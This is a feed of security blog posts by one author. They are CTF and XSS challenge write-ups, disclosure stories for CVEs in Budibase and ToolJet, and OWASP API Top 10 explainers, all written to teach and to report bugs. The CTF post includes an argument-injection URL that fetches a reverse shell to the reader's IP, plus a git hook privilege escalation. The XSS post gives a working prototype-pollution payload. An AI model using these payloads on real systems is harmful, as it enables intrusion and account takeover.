DEV Community: Breno Vitório

Photographs - Writeup

Breno Vitório — Sun, 19 Nov 2023 00:02:14 +0000

When you open the challenge's page, this is its' content:

By downloading the image and taking a look at its' EXIF metadata, you're going to find the nickname fl0pfl0p5 in the author field. This nickname can be used as input for a tool like Sherlock, or maybe just a google search, and both will result in interesting stuff.

The google results, in special, give us a more important hint, which is this one:

When we open this reddit post, there's a comment referencing fl0pfl0p5's github user, but the person who's making this comment has a different username, which is m4r64r1n3.

Sherlock returns similar results for this different username, and by looking at its' twitter account, there's this post of a photo that they took!

By downloading this picture and using it in a reverse image search tool, such as google image's "find source", you are going to find this reddit post:

By looking at the reddit post, it was made by a third nickname (this person likes to use different nicknames, damn!), which is v1ck1v4l3:

If you search for the nickname on Google, there will be a blog with the same name and the same picture as a post!

There's an anonymous comment in the picture saying that it's not a good idea to share locations online, so it gives us a hint that the location was shared before, in the blog. Web archive to the rescue!

By picking up the picture post URL and putting it in the web archive, there will be found a snapshot of it, which contains the flag!

From App User to Tenant Admin

Breno Vitório — Mon, 19 Sep 2022 08:59:14 +0000

Hello there, y'all! Hope you are doing great 🤗

Today, I'm gonna be sharing with you the process of finding CVE-2022-3225. Just like the last post, what I am about to show is not complex at all, but it's really cool and similar bugs can still be found out there!

🏞️ Continuing The Journey of Securing Low Code App Builders

Right after finding the last bug on Tooljet, I decided to look for issues in similar projects, so I googled for Tooljet vs and found some software with very near concepts and goals. One of those was Budibase, and I arbitrarily pick it as a new application for testing.

One thing I like to do is to map what parts of the code can directly interact with user input. I do that just by using the app and monitoring requests with Burp or ZAP. So I got that the "immediate" logic was being handled by controllers, and then I took a look at most of them, hoping for spotting something strange happening.

😱 Look! A Mass Assignment!

Out of all those different methods, one that got my attention was the method which updates your own user's information. Why? Well, because it clearly was doing a mass assignment!

If you don't know what it means, I explain it a little bit better here. But this pseudocode resumes what the function was looking like:

function updateSelf(request) {
  self := User::findOrFail(request.params.id)
  # ...some other logic here...
  self.update(request.body)

  return self
}

It was picking up the entire request body and using it to update our user data 😱. This means that if we inserted valid user attributes that are not in the original request made by the browser, it would still work! So I looked for my user's object in some HTTP requests, including this specific one, and noticed some interesting attributes:

{
...
    "builder": {
        "global":true
    },
    "admin": {
        "global":true
    },
...
}

So I decided to set this admin.global value to false, and...Boom! I was not an admin of my tenant anymore, yaaaaay! No, wait! It's not something good 😭

Luckily, when trying to set it back to true, it also worked 😅

🫠 Bringing Some Impact

Okay, but what can we do with it?

As an administrator, it doesn't bring any harm to be able to change my own access levels, but this endpoint is available to any authenticated user. So I looked for the lowest access level that exists, and this is the App User. It's a user that has basically no permissions, other than being capable of running specific apps from the given tenant.

The app user also has access to a form where they can change their "display name", and this form calls the vulnerable endpoint. So I tried to change the role of my app user to admin and...it worked! 🥳

Again, okay...but what can we do with it? 🧐

After digging a little bit, I found that as an admin, I could delete all of the other accounts (including the account of the original admins), and also delete every app or change their content to something else.

In other words: with one single request, any simple app user could become capable of ruining an entire tenant.

So I reported it to Budibase, and after validating the bug, they fixed it really fast! Kudos to Budibase mantainers for being amazing! 🤩

Thank you for taking your time 🤗

Commenting == Account Takeover

Breno Vitório — Sat, 03 Sep 2022 23:08:20 +0000

Hi y'all, how are you doing? Hope you are doing great 🤗

It's been quite a long time since my last released blog, mostly because I didn't like the themes I've been coming up with. But today, I'm here to share the process that recently got me to find CVE-2022-3019, a bug that isn't complex at all, but is definitely something cool to spot as a hunter.

🧐 Doing Some Code Review

The whole story started by reading huntr's hacktivity page. I've never thought about testing Low/No Code App Builders before, and it just came to my mind after reading an interesting report there. So I decided to look for bugs in ToolJet, starting with a specific one: IDORs.

In order to do so, whenever I have access to the source code of a web app, I assume that every routine handling requests like this may be a good IDOR candidate:

function showObject(request)
    object = Entity.findOrFail(request.params.id)

    return object

Why is it an IDOR candidate? Well, because apparently the only check that's being done by this routine is whether the object exists or not, there is absolutely no authorization check. It's not always that simple, because not every application handles authorization within the context of a service's function, but most web apps do it like this.

With this perfect scenario in mind, I went to the code of ToolJet's controllers, and ended up finding a very similar case. The getComment() method in the Comments Controller had only an authentication middleware, and no checks after that. So after creating an account, theoretically, I could read arbitrary comments even if they were not from the same tenant as my account.

Cool, Breno. And this is the part when you report the super duper critical IDOR you just found, right? 🥳

Definitely not. Because reading arbitrary comments, in my honest opinion, doesn't have any impact. Usually, when we are building stuff cooperatively, the kind of comments that we make doesn't contain sensitive information, and when it does, it's not in a way that can make sense to possible attackers.

👀 Looking for Impact

So reading everybody's comments, by itself, is not a huge of an issue. But what else can we do with it?

I ran an instance of ToolJet, created an account, then I created a comment and looked at the request that had this IDOR, in order to see what data was being retrieved to the browser. Surprisingly, this is what I received:

It was not only an IDOR, but also a case of Excessive Data Exposure! We got email and password hash being disclosed, and the worst part: we got the password reset token also being leaked! 😱

At that moment, this token attribute had a null value, but this got me thinking: what if I, as another user, pick up the email value and use it in the "forgot password?" page? Maybe it'll generate a token that I can see with this comment endpoint. And that's what I tried.

I created a new account, accessed the comment, got the email of the first account from there, went to the "forgot password" page and pasted that email, then I accessed the comment again and boom! The generated password reset token was there! 🥳

From this point, it was just a matter of accessing the url of password reset with the generated token, and then I was able to change the password of the first user, and impersonate it 🕵️

💡 Final Thoughts

I really like this finding, and I probably would never have found it, if it wasn't for public reports showing me new kinds of apps we can test. Some bug bounty platforms have these amazing hacktivity pages, but we can also discover these cool things from youtube videos, blogs, articles, etc. So...always try to absorb content that is publicly available, it tend to be worth it 🤗

Also, the whole test started with a simple code review, and that's something that I usually try to do when looking for bugs in open source software. If it's something that interests you, I have this series on OWASP API Top 10, with some cool stuff that you can look for when hunting for bugs in APIs. Just a few topics include pseudocode examples (see API3:2019 and API6:2019), but there's also some other stuff that you can test when in a live and running application!

🤗 Thanks for Taking Your Time to Read It!

Intigriti 0422 - XSS Challenge Writeup

Breno Vitório — Sun, 24 Apr 2022 23:16:47 +0000

Hi everyone, hope you are having an amazing day! 🤗

Today, I'm going to be showing how I solved Intigriti's 0422 XSS Challenge. It is really nostalgic, because reminds me of the initial contacts that I had, as a child, with computers.

I hope my thought process does make sense to you guys, but in case of any "unclear points", feel free to DM me! 🙋‍♂️

🏞️ Getting to Know The Challenge

This is what we find when we access the challenge's page for the first time:

It's a really good clone of Windows XP's interface, I love it! The form just picks up our configuration and uses everything in order to make an amazing "Windows XP like" window, like the following one:

For some reason, it replaced all the space characters with underscores. If we try to add HTML tags, the same happens with the < and > characters. Curious, very curious! 🧐

After the window is generated, when we look at the challenge URL, there is a huge query string like this one:

config%5Bwindow-name%5D=I%20love%20Intigriti&config%5Bwindow-content%5D=I%20love%20Intigriti&config%5Bwindow-toolbar%5D%5B0%5D=min&config%5Bwindow-toolbar%5D%5B1%5D=max&config%5Bwindow-toolbar%5D%5B2%5D=close&config%5Bwindow-statusbar%5D=true

or represented as JSON, for easier understanding:

So this config object is being used to build the final window, and while searching for the keyword config in the page code, this can be found in the main() function:

Apparently, qs is an object that represents everything we passed to the URL query string, and when qs has an attribute called config, it is merged to another object called appConfig with the merge() function. Cool, but it seems like really soon we are going to have tons of information to deal with, and when we try to see what's inside qs with the browser DevTools console...

I would really like to be able to see the variables' values in each part of the code, so I'm gonna change it a little bit!

🙈 Trying to Help Myself (skippable)

So first of all, as the loaded page is just an HTML file, we may just download it with wget or copy/paste its' source inside of a local .html file.

We could (and will, in the final steps) just use the browser DevTools for debugging, which is actually easier in more general terms, but I like the idea of having things running locally and adapting the code so I don't need to set breakpoints everywhere. If you don't care about this process, you can just skip whatever sections which have (skippable) included in their titles.

Once we download the file, and load it into the browser, everything just works as expe...

😣 Solving Boring Setup Issues (skippable)

As we're not in challenge-0422.intigriti.io anymore, these files which are being referenced with relative paths won't really be found. So we have to change their relative paths to absolute ones, or maybe use the unpkg.com URLs that are in comments like this one down below:

Or my favorite approach, which is adding a <base> tag pointing to challenge-0422.intigriti.io again! 🤗

Now everything is gonna work perfe...

Now it's time for the CSP to bother us 🤬. It happens because although the base tag references intigriti.io, we are not really there, but actually just loading a file locally.

We could also change its' definition in order to make challenge-0422.intigriti.io allowed, but since our goal is to just be able to check variables values, the CSP is not that important for now, and we can just delete or comment its' line in the file:

After all this work, everything will be just normally loaded again! 🥳

🧐 Adapting The Code (skippable)

So, the first I would like to see is the qs variable, and it's inside the main() function. In general terms, variables that are declared inside of functions cannot be used out of them. In case you would like to know more about variables behaviour in JS, Tania Rascia has this amazing article.

The main() function is declared without expecting any parameters, right above the qs declaration:

And it's called right in the end of the <script> tag:

So we may just remove both declaration and calling, and then we'll be able to see the value of everything inside main(), right? Let's check 🥳! And...

If we look at the beginning of the script, there's something else we forgot about:

All the challenge's code is written inside of a function expression! Although it is not the same thing as the function declaration which we already erased (more about it here), the same rule about variables are applied here, in a way that after the code is executed, we cannot just check how the variables are in DevTools console.

So we just have to erase/comment the lines where it begins and ends, and after that, when we go back to DevTools console...🥳

👻 Let The Games Begin! 👾

Now that any debugging checks will be easier, we can really dive into the code!

It's possible to see a bunch of m() being called in the entire code, and there's also a file named mithril.js being loaded before the challenge script:

Based on these facts, I might assume that the whole challenge has an issue related to Mithril, which is a JavaScript framework meant for building SPAs. If we quickly make a Google search like mithril.js cve, we are going to find something interesting!

So Mithril may have a prototype pollution issue! When we click on it and see the content of the page, it shows a sample code snippet of a supposed merge() function that may be vulnerable to this issue:

Basically, it is vulnerable because it applies no filtering to whatever is coming as parameters, in a way that the user input may have a prototype definition included! 🤯

I have a blog about the importance of filtering user input, which can be found here, but remember that this merge() function can be found in the code, because we already have seen it being called before, so let's see how it was defined!

In the case of this month's challenge, the merge function is being defined in a similar way, but it has a blacklist filtering based on this array:

So whenever one of these protected keys are present, they will not be added to the final merged object. __proto__ is there, probably as a method of avoiding prototype pollution, but __proto__ is not the only way to get to a data type's prototype. We can also refer to constructor.protoype, which keywords are not in the protected keys array 🧐

If we try to apply it, using a payload like config[constructor][prototype][test]=polluted in the URL, check what happens to appConfig after it's being merged with qs:

The console shows no real prototype! 🤬

Why does this happen? Well, if we go back to appConfig's declaration, here's what we're going to find:

Because appConfig was declared with Object.create(null), it has no prototype, and it sort of breaks the prototype chain (see Object.create()). We cannot mess with the prototype of appConfig, but it has an interesting attribute called window-toolbar which is an array and was simply defined as ["close"].

Some may think that arrays can only have numeric indexes, but in JS that's not the case. We can handle arrays in a way that's very similar to generic objects, since arrays are implemented as objects too, they're just of a more specific type. See this example:

So what if we try to change the prototype of appConfig["window-toolbar"]? With a payload like config[window-toolbar][constructor][prototype][test]=polluted, this is what we will find:

It did work! 🥳

🏁 From Proto Pollution to XSS

Okay, we could perform an array prototype pollution. Now what? It's still not an XSS! 🤡

If we look for where the content of the page is generated...it's in this piece of code:

Regardless of whether appConfig["customMode"] is true or not, those beautiful windows will always be mounted inside this element called devSettings.root, which is declared in the code section down below:

Can we somehow edit devSettings? Yes! Oops, No! I don't know, just look:

So qs.settings can be merged to devSettings if checkHost() returns true. Just by the fact that it involves a variable called "dev settings", we might assume that checkHost only returns true in cases of local accesses, but let's check it!

So yes, it picks up location.host and checks if the access is coming from localhost or the port is equal to 8080. Since I was loading just a file in the browser, location.host will be undefined, so I think it's time to go back to challenge-0422.intigriti.io. 😭

Once back in the original challenge page, we can still debug stuff by going to the DevTools Sources tab and defining a breakpoint inside of checkHost(), just by clicking on the desidered line number, the result would look like this:

Now reloading the page and checking the variables inside of the function, this is what we are going to get:

The temp array has just one index, since challenge-0422.intigriti.io has no explicit port definition, and because of that, the value of port becomes 443.

We cannot mess up directly with location.host, because it would redirect the page. But hey, we just discovered a way of polluting array prototypes! Let's just use it! 🤠

temp doesn't have a [1] index, so we can define it by ourselves! We just need to pick up the previous test payload and replace the test attribute with 1, and also setting 8080 as its' value instead of "polluted", resulting in:

config[window-toolbar][constructor][prototype][1]=8080

By using it and setting the same checkpoint that we've set before, these are the values the we will get now:

This means that checkHost() will return...🥁

Yay! So now we can use qs.settings as a way of changing devSettings!

Now, before trying to overwrite something inside devSettings.root, let's see what it has for us by setting a new breakpoint:

Hey, look at this cool attribute that we could just use as a way to get XSS!

So we just have to add settings[root][innerHTML]=<h1>testing...</h1> to the previous payload and...

It didn't work! Why!? Let's just set a new a breakpoint right after the merge is done:

Look! It's here (sanitized, but here)! Why doesn't it work in the end?

Do you guys remember that Mithril receives devSettings.root as an argument for building the page's content? Yeah, in the end, when m.mount() is called, it overwrites what we defined for devSettings.root.innerHTML, so I could not use it as a direct way of injecting content to the page.

But there's still hope! Look at how devSettings.root is added to the page:

It's appended to the page's body, no overwrites involved. So we can use the devSettings.root element as a way to get to the page body. There is more than one way of doing it, but since body is an attribute of the page's document, we may get there by using the devSettings.root ownerDocument attribute, which is a reference to the page's document, and then we will get to the body.

An example of working payload for that would be to add settings[root][ownerDocument][body][innerHTML]=<h1>testing...</h1> to that working prototype pollution, which would result in this:

It was added to the page, which is progress in a sense, but it is still being sanitized, because merge() calls a sanitize() function in some situations. Let's take a look again:

Assuming the case of we calling merge() for devSettings, what will happen is that the code will only add something from qs.settings to devSettings as the result of sanitize(), so there is no way of just "ignoring" it. Let's look at how sanitize() works too:

It has a pretty strong regex defined there, in order to avoid XSS cases, but it doesn't always apply this replacing method, only for strings.

This approach does make sense, since numbers and boolean values cannot carry an XSS payload inside them. But are these the only possible cases? Let's just check ìsPrimitive():

Everything seems to be fine here, because it really just checks for primitives, but let's go back to the merge() function, and try to look at it with different eyes:

I changed the name of the variables so they relate more to what we are trying to do, and also ignored the protectedKeys stuff because it's not a real problem to us anymore.

Pay attention to how isPrimitive() is being called. It receives devSettings[key] as a parameter, but if there is no attribute with this key being previously declared, then isPrimitive() will return true, because devSettings[key] will be undefined!

In other words, if our input contains something that still doesn't exist, it will also be considered as a primitive. 🧐

Taking into account that sanitize() skips the replacing method when the argument is not a string, we just have to find a different data type/strucutre that can also be printed by the browser in the page. Objects, maybe?

Nah, not what I was expecting 😂

What about an array? We would just need to add [0] to the previous body's innerHTML payload, resulting in something like config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][innerHTML][0]=<h1>testing...</h1>:

It did work, yay! 🥳 So no we just have to replace this <h1> tag with an XSS payload such as <style onload=alert(document.domain)> and it will work, right?

Okay, the <style> disappeared, but there's no extra prevention method for XSS, so what happened!? 😭

Let's add a new checkpoint to the line in the end of the main function, in order to see what's going on:

What!? Look at what's just happening in qs:

The payload disappeared! Is the fact that we have an alert being called a problem? Let's test by changing the payload to just <style onload>:

Okay...and what if we change it to just <style alert(document.domain)>?

So what's the problem when we try to bring everything together? Well, remember that everything is being parsed by a query string parser, and that the = sign is part of the query string specification, so probably Mithril is getting a little bit lost when trying to parse our payload. 🧐

As a way of helping Mithril, we could just URL encode the = sign, so our XSS payload becomes <style onload%3Dalert(document.domain)>. When we give it a try...

Yay, it did work! XSS Popping up! 🥳

So my final payload was config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][body][innerHTML][0]=<style%20onload%3Dalert(document.domain)>, a little bit too big but that's okay 😎

Thank's for taking your time! Hope you got the process and learned something new! 🤗

API10:2019 - Insufficient Logging & Monitoring

Breno Vitório — Sat, 19 Mar 2022 21:47:50 +0000

Hi, everyone! Hope you are having an amazing day 🤗

Today, I'm here to write about the last topic of our OWASP API Security TOP 10 series, which is also the last item in their list. Although it seems, by its name, to have a pretty straightforward concept just like API6:2019 has, API10:2019 may not be exactly the case!

🏞️ Logging and Monitoring

First of all, I would like to differentiate these two concepts, because when I read API10:2019's name for the first time I thought it was a little bit redundant. Aren't logging and monitoring just the same thing? 🤔

Well, not exactly. Although logging and monitoring have a strong relationship between each other, they also have two different meanings.

📈 Logging

Personally, I like the definition that can be found on this really nice lesson from hacksplaining:

Logging refers to having an application write a record of each event that occurs (...). These “log files” can be read by administrators to analyse what the application was doing at a given point in time.

These event records may vary from simple ones, such as endpoints being called, to also things like alerts, exceptions being triggered, etc. They may also have different "levels" so it gets easier to look for more specific events, but they generally have a pretty similar format, regardless of their level.

📈 Monitoring

Monitoring may have different purposes, depending on the context of the application, but this whole series was about securing APIs, and when it comes to this specific context, I would describe monitoring as being a step after logging, where interesting activities (suspicious ones) can be separated and flagged as potential attacks.

These flagged activities, depending on the possible criticality, may also trigger alerts to be sent through email, SMS, Telegram, etc...so that the responsible people get aware instantly.

😳 When it becomes a threat

So how can things go wrong? Well, there are some different cases. In some of them, not having enough logging and monitoring is the problem, and in some other cases, a logging or monitoring functionality may also be the exact root cause of a security issue.

Let's say you have a web application in which there is an administration feature that let's you see all of the application logs being displayed like this:

Given this cool logging feature, API10:2019 could still happen in scenarios such as:

There is no monitoring, so the administrator has to be watching logs 24/7 😓
These logs include sensitive data, such as users' credentials when they try to authenticate 😨
The endpoint that gives these logs to the UI is not restricted to admin-only users (just like API5:2019) 🤡
The API doesn't sanitize the content of these logs before retrieving them, making them a possible vector of injection attacks (from XSS to even OS Command Injection) 😭

More cases and prevention methods can be found on the OWASP API Security Top 10 official repository

🤗 Thank you!

It was a really nice experience to write this series, and I learned a lot while writing each blog, especially after realizing that each vulnerability can be connect to others on the list. I enjoyed this process of sharing what I'm learning, and in the future you guys may see a different series, but for now I am going to focus more on college stuff and make just punctual blogs 😋

And to whoever read this weird series until the end, thank you for taking your time and thank you for your patience 🤗

Lovely Kitten Pictures - Intended Solution

Breno Vitório — Sun, 13 Mar 2022 10:11:26 +0000

When we see the page for the first time, there's a picture of a cat, and also a button that switches between different cat pictures:

🐈 Flag 1

If we try to open one of the pictures in a new tab, it's possible to see that the picture is actually being loaded by a PHP endpoint, and that the request has a path parameter, like this:

http://challenge.com/pictures.php?path=assets/4.jpg

Just by seeing a file being loaded like this, the first thing we may try is to replace assets/4.jpg for something like ../../../etc/passwd, but when we try that, the endpoint returns the message Not yet!.

Trying similar path traversal payloads also seems to not work, but when we try to load a file that's inside of the project, like index.php, this file is downloaded and we get the first flag as part of the filename.

🐈 Flag 2

This index.php file doesn't actually have anything we couldn't see with the browser developer tools, but when we look at the <script> tag at the bottom of the page, we can see that fetch() being called in order to make an HTTP request to another php file called cat_info.php, and we can download it just like we did with the previous file!

When we read the file, it's possible to see something interesting:

$kittenID = $_GET['id'];
$cmd = escapeshellcmd("/var/www/html/cat_info/main -c $kittenID");
$output = shell_exec($cmd);

So it picks up the request parameter id and use it as an argument while calling a shell command with escapeshellcmd. According to the PHP documentation, this function:

(...) escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.

So we cannot just add commands after the cat's ID, because they will be sanitized. But the same page in PHP docs also has this warning regarding escapeshellcmd:

(...) it still allows the attacker to pass arbitrary number of arguments. For escaping a single argument escapeshellarg() should be used instead.

We can see from the code above that escapeshellarg is not being used at all, and this means that we can add extra arguments to this command which is being called. If we simply try to add a -h flag after the kitten id, resulting in a request like /cat_info.php?id=4 -h, this banner will be displayed:

It says that the flag -e can be used along with a URL in order to execute health checks, and a .sh file is being passed in the examples of usage, which is interesting. It also says that only localhost URLs will be allowed, but its filter can be bypassed with a @ character, and a payload like the one below will give us a reverse shell:

/cat_info.php?id=4 -e http://localhost@reverse-shell.sh/YOUR_IP:PORT

When in the server, as the user www-data, apparently Python is not installed, but the script command may be used in order to get a more interactive shell:

script -qc /bin/bash /dev/null

Now if we go to the / directory, it is possible to see the second flag in the file flag2.txt.

🐈 Flag 3

Now heading to the /home directory, it is possible to see the home directories of two other different users, level1 and admin. So we might guess that the final goal is to get access to this admin user.

When we try to access one of these home directories, such as level1, an error message says:

bash: cd: level1: Permission denied

But when we execute sudo -l, it returns that we have permission to execute su level1 and impersonate level1 without knowing its password, so we just execute:

sudo su level1

And now we can go to /home/level1 and get the third flag, which is in flag3.txt.

🐈 Flag 4

Now that we are level1 and not www-data, when we execute sudo -l again, it will show the following content:

This means that we can use git pull as the admin, using the sudo command like sudo -u admin git pull, and that's when writing a git hook might help us!

In order to do so, just go to the /tmp directory and clone any public git repository, such as public-apis/public-apis, using git clone. After that, access the new repository directory and make it go "back in time" by one commit, using the following command:

git reset --hard HEAD^1

The idea is to execute git pull for updating the repository again, while we get an admin shell. So we can create a post-merge file in the .git/hooks directory using nano (apparently vi is not installed, because nano is better 😲), and also add to it the following script:

#!/bin/bash

exec /bin/bash 0<&2 1>&2

This should, at least in theory, spawn an admin shell after git pull does what it needs to do. But when we try to execute sudo -u admin git pull in the repository root directory, the following error message appears:

If we look at the permissions inside of the directory with something like ls -la, we are going to see that other users don't have write permissions inside of the repository, just level1 itself. In this case, a command like chmod -R 757 /tmp/your_repository does the trick.

Now trying to execute git pull as the admin again, boom! In the end of the process, we are going to have an admin session, and we can go to /home/admin and get the final flag :D

API9:2019 - Improper Assets Management

Breno Vitório — Sat, 05 Mar 2022 21:29:30 +0000

Hi everyone! Hope y'all are having an amazing day 🤗

Today, we are going to be talking about API9:2019, or Improper Assets Management. Hope you guys like it and take something useful from it!

🏞️ Getting to Know The Problem

Do you guys remember of the first post of the series? In that blog, we were talking about BOLA, and I mentioned as an example that broken object level authorization might still be found in older API versions if it's not present in newer ones. This might be considered a case of API9:2019 leading to API1:2019, depending on the root cause of the issue. Let me tell you why. 😊

We all know that documentation is important, for several reasons. When it comes to securing APIs, in special, it does help to identify problems such as access control issues and outdated environments.

API9:2019 happens when a company doesn't give the necessary attention to documenting its assets and maintaining properly their inventory, or even when this company doesn't document anything at all 🤭.

As a result, we may have important security fixes not being applied to all the different environments (prod, dev, test...). Also, we may have some environments being "abandoned" with full functionality (including access to the production database) in older versions, which could make all the efforts into securing the other different environments practically null.

📝 Example

Two different instances of the same API are created, with the URLs api.example.com and dev-api.example.com. The second one was made in order to test functions that are still not ready for production, but after a few months, it stopped being used because the company decided that it would be better for the developers to test locally in their own machines. However, because it is relatively cheap to keep an API with no accesses running in a cloud service, it was never shut down.

Later, an endpoint was discovered in the main API, which let any authenticated user to have access to all of the users' PII just by doing the following request:

GET /admin/users/index HTTP/1.1
Host: api.example.com
Authorization: Bearer sup3r_n1c3_t0k3n

After someone discovered the issue and reported it, this issue was fixed in just a few hours. But this endpoint existed since the initial release of the API, and remember that dev-api.example.com is still up and running with no fixes at all.

This means that whenever someone try to do the same request but pointing to the abandoned API instead of the well-maintained one, the PII leakage will still be there! 😲

📚 External materials

As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn more about this issue, so you guys get better the details of it:

https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa9-improper-assets-management.md

https://salt.security/blog/api9-2019-improper-assets-management

https://apisecurity.io/encyclopedia/content/owasp/api9-improper-assets-management.htm

API8:2019 - Injection

Breno Vitório — Sat, 26 Feb 2022 22:48:30 +0000

Well, well, well, what have we here? 🧐

Injection, huh? Okay then. So that's what we are going to be talking about!

🏞️ Looking at the Docs

We may say that dealing with user-controllable inputs is, essentially, part of what every single API does. Because of that, the documentation of libs/frameworks can have some notes like the following ones:

Rails => Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Express => As req.body’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. For example, req.body.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.

Django => Django also gives developers power to write raw queries or execute custom sql. These capabilities should be used sparingly and you should always be careful to properly escape any parameters that the user can control. In addition, you should exercise caution when using extra() and RawSQL.

All this worry is because when we pick up any random input and use it in an application workflow without previous verification, anything can happen! 😱

💉 Example 1 - CVE-2021-44228

Surely y'all already know about Log4Shell, and it is a perfect example of what an injection can result in. Log4j 2, by default, performed string substitutions in its logs in order to execute expressions.

Because HTTP requests tend to be in logs, payloads containing JNDI lookups in the URL or in HTTP headers such as User-Agent could be being used in order to retrieve sensitive data or even get RCEs. 😲

💉 Example 2 - Insecure Deserialization

Also known as Object Injection, this one is a great example too!

Some APIs have converting complex data structures to specific formats (binary or string ones) and vice versa as part of how they do their job. These processes are called serialization and deserialization.

When these APIs do the deserialization process without previous checks, even if the deserialized object won't have a use at all, there's always a chance of bad things happening. For example, prototype pollution can be the result of an insecure deserialization implementation!

📚 External materials

As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn more about injections, so you guys get better the details of it:

https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa8-injection.md

https://www.wallarm.com/what/api8-injection

https://apisecurity.io/encyclopedia/content/owasp/api8-injection.htm

https://cwe.mitre.org/data/definitions/77.html

API7:2019 - Security Misconfiguration

Breno Vitório — Sat, 19 Feb 2022 23:49:35 +0000

Hello there, friends! 🤗

Coming next to the end of our series, I'm gonna be writing about API7:2019. As it is a more wide-ranging concept when comparing to the previous API vulnerabilities, I'm gonna be using a little bit different approach for presenting today's topic.

🏞️ Definition

When we access the official page of the OWASP API Security Project, and look at the definition of Security Misconfiguration, this is what we are going to see:

Security misconfiguration is commonly a result of unsecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information.

By reading it, we can assume that any configuration that's in an API and could help, in a sense, bad guys to perform attacks, may be considered a security misconfiguration. The possibilities are many!

✏️ First Example

Let's say that we have an endpoint called /show-logs which is supposed to work only for requests that come from localhost:

GET /show-logs HTTP/1.1
Host: example.com

And whenever we try to perform this request from anywhere else, it gives us the following response:

HTTP/1.1 403 Forbidden
Server: SuperCoolServer
Content-Type:application/json

{
"message": "You will never be able to see these logs because they're only available for localhost hahahah"
}

It looks pretty intimidating, but if the API was configured in a way that it picks up HTTP headers such as X-Forwarded-For for determining authorization, we have a little a problem here, because the client may just change the value of those headers to localhost or 127.0.0.1, and they will be able to see whatever it's being hidden.

✨ External Examples

API7:2019 has a definition that can match with an extensive list of cases, and because of that, I would like to share some examples from different places rather than writing just an example.

HDIV

OWASP API-Security repo

S3 Misconfigurations

🚨 Attention!

If you are looking for bugs in order to report them in bug bounty programs, don't just look if they "fit" in the security misconfiguration definition, because sometimes, a misconfiguration doesn't represent any harm to the company. Always pay attention to the context where you are inserted at, and go for impact! And avoid reporting things that are out of scope... 😅

Thank you for taking your time, guys! 🤗

API6:2019 - Mass Assignment

Breno Vitório — Fri, 11 Feb 2022 20:18:14 +0000

Hi everyone! Hope you are having an awesome day 🤗

Today, I am going to be talking a little bit about Mass Assignment, which has a pretty straightforward concept in my opinion. API6:2019 is also one of my favorite issues when it comes to OWASP API Security TOP 10, so I hope you all like it!

🏞️ Just Some Background

Let's say that we have an endpoint which is meant to be used in order to change your personal information, and this endpoint expects an HTTP request like the following one:

PUT /users/info HTTP/1.1
Host: api.example.com
Authorization: Bearer sup3r_t0k3n_h3r3

{
    "firstName": "Naruto",
    "lastName": "Uzumaki",
    "email": "dattebayo＠mail.com",
    "phoneNumber": "12345-6789",
}

Ideally, by looking at this request, we might assume that there is a mechanism in the API to filter what is coming and finally guarantee that only this specific user attributes are going to be changed, not anything else. A possible (and simplified) approach for that would be like this pseudo code:

userData := request.get([
    'firstName',
    'lastName',
    'email',
    'phoneNumber'
])

...

wasSucceeded, error := User::update(userData, userId)

...

return response(200,{success: true})

😱 Here's The Problem!

Not rarely at all, API endpoints are built in generic ways, and very often we may find endpoint implementations that doesn't take into account the possibility of an user insert into the request some attributes that were not originally meant to be there. A great example would be if we changed a little bit the previous code, and made it be like this:

userData := request.getAll()

...

wasSucceeded, error := User::update(userData, userId)

...

return response(200,{success: true})

Now that it uses everything which is coming from the request in order to update the user, basically it's possible to change all the attributes that exist for the User entity, like for example, a hypothetical attribute called ìsAdmin.

If this attribute isAdmin exists, and it's used to define an "user role", an attacker may abuse this flaw in order to make itself an admin with a simple HTTP request such as the one down below:

PUT /users/info HTTP/1.1
Host: api.example.com
Authorization: Bearer sup3r_t0k3n_h3r3

{
"isAdmin": true
}

And there we have API6:2019! 🙈

A similar case would the GraphQL example which I presented in the API3:2019 post. Technically, this case would not fit inside the Mass Assignment concept, because API6:2019 involves being able to store or modify data and not just see it, but the exploiting scenario is quite the same.

📚 External materials

As my goal with this series is to just explain what each flaw is, I would like to suggest what I used to learn about API6:2019, so you understand better the details of it:

https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md

https://salt.security/blog/api6-2019-mass-assignment

API5:2019 - Broken Function Level Authorization

Breno Vitório — Fri, 28 Jan 2022 05:08:37 +0000

Hello guys! Hope you are having an amazing day 🤗

Continuing our series, today we are going to talk a little bit about API5:2019, which is an authorization vulnerability just like API1:2019, but they happen in different cases and for different reasons.

Hope you guys dig it!

🏞️ Just Some Background

There are applications that need some functionalities to be only accessible to certain users. For example, if there's an endpoint that returns personal identifiable data about all the registered users, we may assume that only the administrators are supposed to be capable of using it.

For this case, verifying for an user attribute isAdmin might already do the trick, but some other applications, such as forums or school management systems tend to need more than that. Usually they need a whole set of access control policies that will be used to define, through the code of the entire API, whether a user is able to execute functions or not.

😋 Exemplifying The Problem

Implementing complex access control policies, just like any other complex business logic rules, is actually very tricky because this process cannot be handled in a generic way, and every single endpoint of the API has to take this into account.

Imagine an API where any route starting with /admin can only be accessed by administrators. That's great, right?! But if there is any other route that is supposed to be accessible only for administrators, such as:

DELETE /users/all HTTP/1.1
Host: example.com

This endpoint also needs to be considered by the access control policies, and very often, when it comes to cases like this, they are actually not taken into account! 😬

This was the case of CVE-2021-3980. The application already had access control policies defining that only administrators would have access to the endpoints which start with /admin and/or /ajax/admin, but there was this endpoint which was starting with /ajax/form/admin and it wasn't being considered by the access control policies at all. This simple "misconfiguration" made possible for every user (even unauthenticated ones) to get access to some private information related to the users of any social network created with the engine.

📔 External Materials

As my goal with this series is to just explain what each flaw is while I'm learning about them all, I would like to suggest some materials about today's topic, so you understand better the details of it:

